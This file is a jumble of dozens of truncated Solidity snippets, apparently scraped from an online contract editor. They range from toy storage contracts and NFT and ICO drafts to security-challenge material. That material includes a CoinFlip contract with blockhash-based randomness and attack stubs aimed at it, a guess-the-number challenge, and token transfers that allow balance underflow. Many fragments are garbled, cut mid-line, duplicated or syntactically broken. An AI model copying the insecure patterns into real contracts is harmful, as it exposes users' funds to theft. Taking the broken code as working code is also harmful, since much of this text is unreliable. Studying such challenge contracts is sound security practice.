        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

contract attackCoinFlip {
    CoinFlip public victimcontract;

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

 contract attackCoinFlip {
     
    CoinFlip public attackCoinFlip;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {  
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public { 
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.24;

// Define a contract 'Lemonade Stand'
contract LemonadeStand {

    // Variable: Owner
    address owner;

    // Variable: SKU count
    uint skuCount;

    // Event: 'State' with value 'ForSale'
    enum State { ForSale, Sold }

    // Struct: Item. name, sku, price, state, seller, buyer
    struct Item {
        string  name;
        uint  sku;
        uint  price;
        State  state;
        address  seller;
        address  buyer;
    }

    // Define a public mapping 'items' that maps the SKU (a number) to an Item.
    mapping (uint => Item) items;

    // Events
    event ForSale(uint skuCount);
    event Sold(uint sku);

    // Modifier: Only Owner see if msg.sender == owner of the contract
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    // Define a modifier that verifies the Caller
    modifier verifyCaller (address _address) {
        require(msg.sender == _address);
        _;
    }

    // Define a modifier that checks if the paid 

// mustacoin ICO

pragma solidity >=0.4.11;

contract hadcoin_ico {
    // Introducing the mazimum number of hadcoin avaliable for sale
    
    uint public max_hadcoins = 1000000;
    
    // Introducing the USD to hadcoin conversion relocatable
    
    uint public usd_to_hadcoins = 1000;
    
    
    // Introdicing the total number of hadcoin that have been bought by the investors 
    
    uint public total_hadcoins_bought = 0;
    
    // Mapping fropm the investor address to its equity in hadcoins and USD/ the two mapping take the address of the investor and return how many coins and usd value it has
    
    mapping(address => uint) equity_hadcoins;
    
    mapping(address => uint) equity_usd;
    
    // checking if an investor can buy hadcoins, calculate if the investor request is less then the total max amount of couns plus the couns alredy sold
    // inside the modifier we use the require function that first convert the usd in hadcoins and add the sold one and check if the total is <= to the max

pragma solidity 0.4.18;

contract A {
  uint16 a = 0;
}

contract B {
  uint256 a = 0;

pragma solidity 0.6.12;

contract A {
  uint16 a = 0;
}

contract B {
  uint256 a = 0;

pragma solidity ^0.4.18;

contract A {
  uint16 a = 0;
}

contract B {
  uint256 a = 0;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
library Delegations {

    struct Delegation {
        uint256 shares; // nominal amount of shares held by the Delegation
        mapping(address => AccumulatorCheckpoint) accumulatorCheckpoints; // checkpointed accumulators
        uint256 lastUpdate;
    }

    stuct AccumulatorCheckpoint {
      uint256 checkpoint;
      uint256 pendingRewards;
    }

    struct Accumulator {
      mapping(uint256 => uint256) values;
      uint256 lastUpdate;
    }

    /**
     @notice A delegation pool accrues delegator rewards and fees for an orchestrator and handles accounting
     */
    struct Pool {
        uint256 activeShares; 
        uint256 nextShares;
        uint256 lastUpdate;

        uint256 totalStake; // total amount of tokens held by the EarningsPool

        mapping(address => Accumulator) public accumulators; // round => token => accumulator

        mapping(address => Delegation) delegation

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
library Delegations {

    struct Delegation {
        uint256 shares; // nominal amount of shares held by the Delegation
        mapping(address => AccumulatorCheckpoint) accumulatorCheckpoints; // checkpointed accumulators
        uint256 lastUpdate;
    }

    stuct AccumulatorCheckpoint {
      uint256 checkpoint;
      uint256 pendingRewards;
    }

    struct Accumulator {
      mapping(uint256 => uint256) values;
      uint256 lastUpdate;
    }

    /**
     @notice A delegation pool accrues delegator rewards and fees for an orchestrator and handles accounting
     */
    struct Pool {
        uint256 activeShares; 
        uint256 nextShares;
        uint256 lastUpdate;

        uint256 totalStake; // total amount of tokens held by the EarningsPool

        mapping(address => Accumulator) public accumulators; // round => token => accumulator

        mapping(address => Delegation) delegation

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract Delegations {

    struct Delegation {
        uint256 shares; // nominal amount of shares held by the Delegation
        mapping(address => uint256) accumulatorCheckpoints; // checkpointed accumulators
    }

    struct Accumulator {
      mapping(uint256 => uint256) values;
      uint256 lastUpdate;
    }

    /**
     @notice A delegation pool accrues delegator rewards and fees for an orchestrator and handles accounting
     */
    struct Pool {
        uint256 activeShares; 
        uint256 nextShares;
        uint256 lastUpdate;

        uint256 totalStake; // total amount of tokens held by the EarningsPool

        mapping(address => Accumulator) public accumulators; // round => token => accumulator

        mapping(address => Delegation) delegations;
    }

    function updateShares(Pool storage _pool, uint256 _round) {
      if (_pool.lastUpdate >= _round) {
        return;
      }

  
// SPDX-License_Identifier: MIT 

pragma solidity ^0.6.10;



contract StorageFactory is SimpleStorage {
    import "./SimpleStorage.sol"; 
    
    SimpleStorage[] public simpleStorageArray;
    
    function createSimpleStorageContract() public {
        SimpleStorage simpleStorage = new SimpleStorage();
        simpleStorageArray.push(simpleStorage);
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// SPDX-License-Identifier: MIT

//version solidity
pragma solidity ^0.6.0;

//defining contract
contract simplestorage {
    
    // this will get initialized to 0 (because nothing set)
    uint256 favoriteNumber;
    bool favoriteBool;
    
    
    
    
 struct People {
     uint256 favoriteNumber;
     string name;
     
 }
 
 // array making
 People[] public people;
 //mapp string to uint256 so  fav number(uint256) is connected to string(name)
 mapping(string => uint256) public nameToFavoriteNumber;
 
 
 
    function store(uint256 _favoriteNumber) public {
     favoriteNumber = _favoriteNumber;
     uint256 test = 4;
 }

// view, pure -> reading of the blockchain no statechange so not making an transaction
function retrieve() public view returns(uint256){
     return favoriteNumber;
    
    
}
function addPerson(string memory _name, uint256 _favoriteNumber) public{
people.push(People(_favoriteNumber, _name));
nameToFavoriteNumber[_name] = _favoriteNumber;
}


 
 

  
// SPDX-License_Identifier: MIT 

pragma solidity ^0.6.10;



contract StorageFactory is SimpleStorage {
    import "./SimpleStorage.sol"; 
    
    SimpleStorage[] public simpleStorageArray;
    
    function createSimpleStorageContract() public {
        SimpleStorage simpleStorage = new SimpleStorage();
        simpleStorageArray.push(simpleStorage);
    }

// SPDX-License-Identifier: GPL

pragma solidity >=0.4.22 <0.9.0;

/**
    Test
 */

contract PoliceleBeniAsuman {
    
  address private policeFonAdress;

  struct ciftciKayit {
    uint256 userID;
    string ciftciIsim;
    string ciftSoyIsim;
    uint256 ciftciTCKN;
    uint256 policeKodu;
    string policeUrunTipi;
    uint256 policeDuzenlenmeTarih; //now methodu
    uint256 policePrimMiktar;
    uint256 AylikPrimTutar;
    uint256 SigortaBedeli; // 15 tl
    uint256 sigortaBaslangicTarihi;
    uint256 sigortaBitisTarihi;
    bool  PoliceOnay;
    address pAddr;

  }


  modifier signOnly {
        require (msg.sender == policeFonAdress);
        _;
    }

  constructor() public {
        policeFonAdress = msg.sender;
  }

  mapping(uint256 => ciftciKayit) public _kayit;
  uint256[] public KayitArr;

      event KayitOlustur(
      uint256 userID,
      uint256 policeKodu, 
      string policeUrunTipi,
      uint256 policeDuzenlenmeTarih,
      uint256 policePrimMiktar,
      uint256 AylikPrimTutar,
     

// contracts/Baseballs.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/structs/BitMaps.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";

import "./external/MLBC.sol";

contract Baseballs is Context, ERC20Burnable {
    using BitMaps for BitMaps.BitMap;

    MLBC public _mlbc;

    BitMaps.BitMap private _baseballsBitMap;


    constructor(address mlbcAddress) ERC20("Baseballs", "Baseball") {
        _mlbc = MLBC(mlbcAddress);
    }

    function mint(uint32[] calldata tokenIds) public {
        
        require(tokenIds.length < 1001, "Too many");

        for (uint i=0; i < tokenIds.length; i++) {

            uint32 tokenId = tokenIds[i];

            //Don't mint past the supply at launch.
            require(tokenId < 249173, "Token too high");
            require(tokenId > 0, "Token too low");

            //Validat

pragma solidity ^0.4.26;

contract StructSerialization
{
    function StructSerialization()
    {
    }

    event exactUserStructEvent(uint32 staking, string amount);

    //Use only fixed size simple (uint,int) types!
    struct ExactUserStruct
    {
        uint32 staking;
        string amount;
    }

    function showStruct(ExactUserStruct u) private
    {
        exactUserStructEvent(u.staking, u.amount);
    }


    function exactUserStructToBytes(ExactUserStruct u) private
    returns (bytes data)
    {
        // _size = "sizeof" u.staking + "sizeof" u.amount
        uint _size = 4 + bytes(u.amount).length;
        bytes memory _data = new bytes(_size);

        uint counter=0;
        for (uint i=0;i<4;i++)
        {
            _data[counter]=byte(u.staking>>(8*i)&uint32(255));
            counter++;
        }

        for (i=0;i<bytes(u.amount).length;i++)
        {
            _data[counter]=bytes(u.amount)[i];
            counter++;
        }

        return (_data);
    }


    function exactUs

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract L {
    bytes public letters = 'abcdefghijklmnopqrstuvwxyz';
    
    function getIdx(uint x) private view returns (bytes32 bytedLetter) {
        return letters[x];
    }
    
    function bytes32ToString(bytes32 _bytes32) private pure returns (string memory) {
        uint8 i = 0;
        while(i < 32 && _bytes32[i] != 0) {
            i++;
        }
        bytes memory bytesArray = new bytes(i);
        for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
            bytesArray[i] = _bytes32[i];
        }
        return string(bytesArray);
    }
    
    function getChar(uint x) public view returns (string memory letter) {
        return bytes32ToString(getIdx(x));
    }

contract hackCoinFlip {
    CoinFlip public originalContract = CoinFlip(0x473985426435A9A348488F926b51daa556B7383B); 
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function hackFlip(bool _guess) public {
        //TODO
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {

  struct Person {
    string name;
    uint[3] numbers;
  }

  Person[] public persons;

  function test () public {
    Person memory x;
    x.name = "Asd";
    x.numbers = [uint(1),2,3];
    persons.push(x);
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
  function hexStringArray(String s){
    
  }

  uint value;

//
// GuessToWin.solpp
//
// Simple contract allowing anyone to guess secret passwords. If they guess any right, they
// will be awarded an amount of Vite based on the amount funded to the contract.
//
// Contract initially has no rewards balances stored. Any user can create rewards for a guess
// by calling the Fund function and providing the appropriate hash of the secret guess they
// would like to award, along with a patment of the amount of Vite they want to fund the award with.
//
// The hash of the guesses can be generated via the shell command:
// echo -n YOURSECRETPASSWORD | b2sum -l 256
//
// Guesses are submitted by sending a string of the guess to the Guess function. Correct
// guessers are awarded the entire fund for that hash/guess pair
//
// Warning: If you send funds with a hash value of an unknown string, those funds will be
// permanently locked in the contract! Also be warned that all guesses/hashes are logged
// into the ledger, so testing a particular hash/guess combination permanently re

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity >=0.8.0 <0.9.0; 

import "./libraries/SafeMath.sol";

library Utils {

    function adjustAmountForDecimals(uint currentDecimals, uint targetDecimals, uint amount)  internal pure returns(uint256)
    {
        uint diffDecimals = currentDecimals - targetDecimals;
        
        if(currentDecimals > targetDecimals) {
            amount = amount.div( (uint(10)**diffDecimals) );
        }
        else if(currentDecimals < targetDecimals) {
            amount = amount.mul( (uint(10)**diffDecimals) );
        }

        return amount;
    }
   

pragma solidity >=0.8.0 <0.9.0; 

import "./libraries/SafeMath.sol";

library Utils {

    function adjustForAmountDecimals(uint currentDecimals, uint targetDecimals, uint amount)  internal pure returns(uint256)
    {
        uint diffDecimals = currentDecimals - targetDecimals;
        
        if(currentDecimals > targetDecimals) {
            amount = amount.div( (uint(10)**diffDecimals) );
        }
        else if(currentDecimals < targetDecimals) {
            amount = amount.mul( (uint(10)**diffDecimals) );
        }

        return amount;
    }
   

pragma solidity >=0.8.0 <0.9.0; 

import "./libraries/SafeMath.sol";

library Utils {

    function adjustForDecimals(uint currentDecimals, uint targetDecimals, uint amount)  internal pure returns(uint256)
    {
        uint diffDecimals = currentDecimals - targetDecimals;
        
        if(currentDecimals > targetDecimals) {
            amount = amount.div( (uint(10)**diffDecimals) );
        }
        else if(currentDecimals < targetDecimals) {
            amount = amount.mul( (uint(10)**diffDecimals) );
        }

        return amount;
    }
   

pragma solidity ^0.7.1;
pragma experimental ABIEncoderV2;

contract Bio {
	string public name = "Bio";

	address public owner;

	struct UsernameReservation{
		string username; 
		uint256 count; 
		bool exists;
	}
	mapping (string => UsernameReservation) usernameCount;

	struct Username {
		string username;
		uint256 issue;
	}
	mapping (address => Username[]) walletUsernames;
	mapping (string => address) usernameOwnership;

	struct UserBio {
		string description;
		string twitterUsername;
		string location;
	}
	mapping (string => UserBio) bios;

	constructor() {
		owner = msg.sender;
	}

	/**
		START Helpers
	 */
	 function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len;
        while (_i != 0) {
            k = k-1;
            uint8 temp = (48 + uint8(

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set( _value) public {
    value = _value;
  }

  function get() public constant returns () {
    return value;
  }

   value;

pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }

// SPDX-License-Identifier: MIT

pragma solidity >=0.4.22 <0.9.0;

contract Vault {
    address admin;
    address factory;
    
    /********* CONSTRUCTOR *********/
    
    /**
    Constructor to assign the admin address
    **/
    constructor() {
        admin = msg.sender;
    }
    
    
    /********* MODIFIERS *********/
    
    /**
    Only the admin is given the access
    **/
    modifier onlyAdmin(){
        require(msg.sender == admin,"only Admin has the access");
        _;
    }
    
    /**
    Only the factory contract is given the access
    **/
    modifier onlyFactory(){
        require(msg.sender == factory,"only Factory Contract has the access");
        _;
    }


    /********* MAPPING *********/
    
    /**
    IP address of a sensor is recorded corresponding to its address
    **/
    mapping( address => string ) SensorDetails;
    
    
    /********* FUNCTIONS *********/
    
    /**
    Set the factory address by the admin
    **/
    
    function setFactory(address _factory) 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// SPDX-License-Identifier: GPL-3.0
pragma solidity  >=0.8.0 <0.9.0;
/// @title Parking ticket contract.

contract ParkingTicket {
    string licenseplate;
    uint balance;
    uint public created;
    address payable propertyowner;


    // Events
    event Paidfully(address from, address to, uint amount);

    // Errors
    error OverPaid(address payer, uint available);
    
    constructor(
        uint price,
        string memory _licenseplate,
        address payable _propertyowner
    ) {
        balance = price;
        licenseplate = _licenseplate;
        created = block.timestamp;
        propertyowner = _propertyowner;
    }

    
    function payoff(address sender, uint amount) public {
        if(amount > balance){
            revert OverPaid({
                payer: sender,
                available: balance
            });
        }
        
        balance -= amount;
        
        if(balance == 0) {
            emit Paidfully( sender, propertyowner, amount);
        }
    }
    
    
    

/**
 *Submitted for verification at Etherscan.io on 2021-09-01
*/

// SPDX-License-Identifier: Unlicense

/*

    Synthetic Loot
    
    This contract creates a "virtual NFT" of Loot based
    on a given wallet address. 
    
    Because the wallet address is used as the deterministic 
    seed, there can only be one Loot bag per wallet. 
    
    Because it's not a real NFT, there is no 
    minting, transferability, etc.
    
    Creators building on top of Loot can choose to recognize 
    Synthetic Loot as a way to allow a wider range of 
    adventurers to participate in the ecosystem, while
    still being able to differentiate between 
    "original" Loot and Synthetic Loot.
    
    Anyone with an Ethereum wallet has Synthetic Loot.
    
    -----
    
    Also optionally returns data in LootComponents format:
    
    Call weaponComponents(), chestComponents(), etc. to get 
    an array of attributes that correspond to the item. 
    
    The return format is:
    
    uint256[5] =>
        [0] = It

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;


contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.7.0;
contract SimpleStore {
      struct VaultRegistry {
        IERC20[] tokens;
        uint block;
        uint256 index;
    }

    mapping (address => VaultRegistry) private _vaultInfo;
    address[] private _vaultIndex;

   function getVaultsForToken(IERC20 _token) public view returns (address[] memory) {
        uint256 curResults = 0;
        uint256 numResults = 0;
 
        for (uint256 vid = 0; vid < _vaultIndex.length; vid++) {
            for (uint t = 0; t < _vaultInfo[_vaultIndex[vid]].tokens.length; t++) {
                if (_vaultInfo[_vaultIndex[vid]].tokens[t] == _token) {
                    numResults++;
                }
            }
        }
 
        address[] memory vaultResults = new address[](numResults);
        for (uint256 vid = 0; vid < _vaultIndex.length; vid++) {
            for (uint t = 0; t < _vaultInfo[_vaultIndex[vid]].tokens.length; t++) {
                if (_vaultInfo[_vaultIndex[vid]].tokens[t] == _token) {
                    vaultResults[curRes

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

  function getAction(uint256 tokenId) public view returns (string memory) {
        uint256 rand = random(string(toString(tokenId)));
        if (rand % 21 == 0) {
            return rareActions[rand % rareActions.length];
        } else {
            return actions[rand % actions.length];
        }
  }

  function random(string memory input) internal pure returns (uint256) {
        return uint256(keccak256(abi.encodePacked(input)));
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.18;
contract MyContract{
    Person[] public people;
struct Person{
string _firstname;
string _lastname;
}
function addPerson (string memory _firstname,string memory _lastname)public {
    people.push(Person(_firstname , _lastname));
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


contract MintNFTX is Context {

    NFTX public _nftxVault; 

    constructor(address _vaultAddress){
        _nftxVault = NFTX(_vaultAddress);
    }

    function _buy(uint256 _tokenId) private {

        //THIS FUNCTION SUCCESSFULLY PURCHASES THE NFT AND IT IS OWNED BY THIS CONTRACT

    }

    function _mintNFTX(uint256 _tokenId) private {

        uint256[] memory nftIds = new uint256[](1);
        nftIds[0] = _tokenId;
        
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;

        console.log("Minting to vault");

        _nftxVault.mint(nftIds, amounts);

        console.log("Minting success");

    }

    function buyAndMint() public payable {

        console.log("begin buyAndDeposit");

        payable(this).transfer(msg.value);
        
        console.log("Balance: %s gwei", address(this).balance);

        //Hard code tokenId for now
        uint256 tokenId = 72522;

        //Buy from NFT contract
        _

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.23;

contract MyContract{
    Person[] public people;
}
struct Person
{
    string _firstname;
    string _lastname;
}
function addPerson(string memorry _firstname,string memory _lastname) public{
    people.push();

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.23;

contract MyContract{
    string value;

constructor() public{
value = "myValue";
}

function get()public view returns(string memory ){
return value;
}
function  set(string memory _value) public{
value = _value;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.23;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.0;

contract P2Pcontract {

  //Global Variables
  Borrower[] borrowers; //An array that will hold all of our borrowers 
  uint totalNumBorrowers; //Keep track of the total number of borrowers we have 
  uint borrowerIdCounter; //Keep track of the borrowerIds --> increment everytime we add a new borrower
  Investor[] investors; //An array that will hold all of our investors
  uint totalNumInvestors; //Keep track of the total number of investors that we have
  uint investorIdCounter; //Helps create the investorId so that we can keep track of them


  //Mappings 
  mapping (uint => address) borrowerToOwner; //Lookup borrower address from their id 
  mapping(address => uint) BorrowerAddress2Id; //Lookup borrower id based on their address
  mapping (address => Borrower) borrower; //take an address and get the Borrower struct
  mapping (uint => address) investorToOwner; // take an id from our investors arrray and get the address of the investor
  mapping (address => uint) InvestorAddress2Id; /

pragma solidity ^0.4.0;

contract P2Pcontract {

  //Global Variables
  Borrower[] public borrowers; //An array that will hold all of our borrowers 
  uint totalNumBorrowers; //Keep track of the total number of borrowers we have 
  uint borrowerIdCounter; //Keep track of the borrowerIds --> increment everytime we add a new borrower

  //Mappings 
  mapping (uint => address) public borrowerToOwner; //Lookup borrower address from their id 
  mapping(address => uint) public BorrowerAddress2Id; //Lookup borrower id based on their address
  mapping (address => Borrower) public borrower; //take an address and get the Borrower struct
  mapping(address => uint[]) public loansBorrowerHasCreated; //address to list of loan_ids the borrower has created

  //Borrower Struct 
  struct Borrower { 
    address borrowerPublicKey;
    string firstName; 
    string lastName; 
    uint accountBalance; 
    uint numLoans; 
    uint borrowerId; 
    bool EXISTS; 
  }

  //Create a new borrower 
  function createBorrower(string mem

pragma solidity ^ 0.4.23;


contract Transfer {
    uint public mainAccount;
    uint public secondAccount;
    constructor(uint a) public {
        mainAccount = a;
    }

    function transfer(uint amount) public{
        require(mainAccount > amount);

        mainAccount -= amount;
        secondAccount += amount;

    }

    function chargeMainAccount(uint amount) public {
        mainAccount += amount;
    }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract MyERC777Reciever is IERC777Recipient {
  mapping (address=>uint) public balances;
  ERC777 my_erc777;
}
constructor (address my_erc777_address)
  {
    IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24).
      setInterfaceImplementer(address(this),
        keccak256("ERC777TokensRecipient"),
        address(this)
      );
    my_erc777 = ERC777(my_erc777_address);
  }

  function tokensReceived(
      address operator,
      address from,
      address to,
      uint256 amount,
      bytes calldata userData,
      bytes calldata operatorData
    ) override external
  {
    // revert();
  }

  function deposit(uint amount) public
  {
    my_erc777.operatorSend(address(msg.sender), address(this), amount, "", "");
    balances[msg.sender] += amount;
  }

  function retrieveTokens() public
  {
    my_erc777.operatorSend(address(this), address(msg.sender), balances[msg.sender], "", "

function transfer(uint _amount, address _dest)
only_with_at_least(_amount) {
    balances[msg.sender] -= _amount;
    balances[_dest] += _amount;

modifier only_with_at_least(uint x) {
    if (balances[msg.sender] >= x) _

function transfer(uint _amount, address _dest) {
    if (balances[msg.sender] < _amount)
        return;
    balances[msg.sender] -= _amount;
    balances[_dest] += _amount;

function transfer(uint _amount, address _dest) {
    if (balances[msg.sender] >= _amount) {
        balances[msg.sender] -= _amount;
        balances[_dest] += _amount;
    }

pragma solidity ^0.6.12;

contract Token {

    // The balance of everyone
    mapping (address => uint) public balances;

    // Constructor - we're a millionaire!
    construct Token() {
        balances[msg.sender] = 1000000;
    }
    
    // Transfer `_amount` tokens of ours to `_dest`.
    function transfer(uint _amount, address _dest) {
        balances[msg.sender] -= _amount;
        balances[_dest] += _amount;
    }

pragma solidity ^0.6.12;

contract Token {
    // The balance of everyone
    mapping (address => uint) public balances;
    // Constructor - we're a millionaire!
    construct Token() {
        balances[msg.sender] = 1000000;
    }
    // Transfer `_amount` tokens of ours to `_dest`.
    function transfer(uint _amount, address _dest) {
        balances[msg.sender] -= _amount;
        balances[_dest] += _amount;
    }

pragma ton-solidity >= 0.43.0;
pragma AbiHeader expire;
pragma AbiHeader time;

import "./interfaces/IJokes.sol";

 
contract Jokes is IJoke {
    string[] public JokesVault;

    // constructor() public {
    //     tvm.accept();
    // }

    
    function setJokes(string joke) public override {
       JokesVault.push(joke);
    }

    function getJokes(uint256 index) public override returns (string) {
        return JokesVault[index];
     }

pragma solidity ^0.7.0;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong 

function _amountAvailable(address from) internal view returns (uint256) {
    vesting memory vested = _vesting[from];
    uint256 totalBalance = _totalBalanceOf(from);
    if (vested.amount > 0) {
        // vesting applies
        uint256 vestingIndex =
            _vestingDays.findUpperBound(today() - vested.startDate);

        if (vestingIndex < _vestingDays.length) {
            // still in vesting phase
            uint256 vestingBasisPoints = _vestingBasisPoints[vestingIndex];
            uint256 maxAmountAvailable =
                vested.amount.mul(vestingBasisPoints).div(
                    BASIS_POINT_DIVISOR
                );
            uint256 remainingVestedAmount =
                vested.amount.sub(maxAmountAvailable);
            return totalBalance.sub(remainingVestedAmount);
        } else {
            return totalBalance;
        }
    } else {
        return totalBalance;
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }sssisS
  ADAHAODAS

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.5.0;

contract SolidityTest {
   uint storedData; 
   constructor() public{
      storedData = 10;   
   }
   function getResult() public view returns(string memory){
      uint a = 10; 
      uint b = 2;
      uint result = a + b;
      return integerToString(result); 
   }
   function integerToString(uint _i) internal pure 
      returns (string memory) {
      
      if (_i == 0) {
         return "0";
      }
      uint j = _i;
      uint len;
      
      while (j != 0) {
         len++;
         j /= 10;
      }
      bytes memory bstr = new bytes(len);
      uint k = len - 1;
      
      while (_i != 0) { // while loop
         bstr[k--] = byte(uint8(48 + _i % 10));
         _i /= 10;
      }
      return string(bstr);
   }

// SPDX-License-Identifier: MIT

pragma solidity 0.8.3;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";

contract MillionDollarRat is ERC721Enumerable, Ownable, ReentrancyGuard {
    using Strings for uint256;

    // emitted by {depositGoldenRatToSewer} on success
    event GoldenRatDeposited(address indexed owner, address indexed sewer);

    // This is the provenance record of all artwork in existence
    string public constant RATS_PROVENANCE = "60f27f7b882a5c8f31453d36f99fa1cc67b3c254934e4f327f66059599cf10e0";

    // opens Apr 29 3pm EST | 1619722800
    uint256 public constant SALE_START_TIMESTAMP = 1619722800;

    // The sale lasts for 21 days
    uint256 public constant REVEAL_TIMESTAMP = SALE_START_TIMESTAMP + 3 weeks;

    // Sale price tiers
    uint256 private constant TIER_1_PRICE = 500000000000000

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {

  struct Pool {
    uint a;
    uint b;
    mapping(address => uint) c;
  }

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    Pool memory p;
    return p.a;
  }

